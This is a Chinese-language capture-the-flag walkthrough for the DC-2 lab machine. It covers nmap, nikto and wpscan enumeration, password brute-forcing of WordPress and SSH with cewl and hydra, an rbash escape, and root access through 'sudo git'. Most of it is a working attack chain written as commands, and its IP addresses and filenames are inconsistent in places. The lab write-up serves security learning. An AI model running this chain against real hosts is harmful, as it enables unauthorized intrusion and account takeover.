nmap扫描
nmap -sP -v 192.168.1.0/24
nmap - T -sP 192.168.1.0/24 -oN nmap1.sP
我们发现浏览器访问http://192.168.220.132,发现无法正常访问页面,但在url地址栏会有http://dc-2域名提示,发现问题是本地无法解析域名dc-2
我们需要配置编辑/etc/hosts文件,添加靶机IP地址及对应域名:192.168.1.150 dc-2
vim /etc/hosts
192.168.1.150 dc-2
添加域名解析后,可以正常访问网页信息,并能在Flag页面找到flag1
提示使用cewl密码字典生成工具,并且在登录后可以找到下一个flag
flag1提示可以登录,但正常访问网页无法找到登录页面,所以使用nikto工具扫描网站结构,找到wp-login.php登录页面
nikto -h dc-2 -o nikto-dc2.txt
cat dc-2.nikto
一般WordPress网站都会有admin用户,但需要爆破密码
使用wpscan工具扫描网站,获取可以登录网站的用户名,扫描后可以找到三个用户名:admin、tom、jerry
wpscan --url dc-2 -e u
将扫描到的三个用户名添加到dc-2users.list
-
vim dc-2users.list
-
admin
-
tom
-
jerry
使用flag1中提示的工具cewl生成密码字典dc-2pass.dic
-
cewl dc-2 -w dc-2.dic
-
cat dc-2.dic
wpscan --url dc-2 -U dc-2users.list -P dc-2.dic
-
jerry / adipiscing
-
tom / parturient
使用tom用户登录论坛,没找到有用信息
再使用jerry用户登录论坛,可以找到flag2,再无其他有用信息
Flag2:
If you can't exploit WordPress and take a shortcut, there is another way.
Hope you found another entry point.
如果你不能利用WordPress并抄近路,还有别的办法。
希望你能找到另一个切入点。
Flag2提示从另外一个方向切入,所以80端口切入失败,这时用到另外一个7744(ssh)端口
使用hydra工具使用已生成的密码字典对已知的用户名进行ssh登录密码爆破
获得ssh登录用户:tom / parturient
-
hydra -L dc-2users.list -P dc-2pass.dic 192.168.220.132 ssh -s 7744
-
login: tom password: parturient
使用tom用户ssh登录
ssh tom@192.168.220.132 -p 7744
使用tom用户ssh登录后,使用 ls 命令在家目录中找到flag3.txt,有一个 su 提示应该切换用户
但发现tom只能使用less、ls、scp、vi命令,无法直接使用su命令切换用户
Flag3:
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
可怜的老汤姆老是追杰瑞。也许他应该为他造成的所有压力负责。
BASH_CMDS[a]=/bin/sh ; a #调用/bin/sh命令解释器
/bin/bash #使用bash命令解释器
export PATH=PATH:/bin:/sbin:/usr/bin:/usr/sbin #设置环境变量
切换到jerry用户,进入jerry家目录下
su jerry
adipiscing #jerry用户登录密码
ls 找到flag4.txt,提示使用git 命令
Flag4:
Good to see that you've made it this far - but you're not home yet.
You still need to get the final flag (the only flag that really counts!!!).
No hints here - you're on your own now. :-)
Go on - git outta here!!!!
-
sudo -l #查看可以使用root权限无密码的命令,有git命令
-
sudo git -p –-help #提权
whoami #查看当前用户
-
passwd root #修改root密码
-
123456 #密码修改为:123456
su root #切换到root用户
cd /root #进入到root家目录下
ls #找到final-flag.txt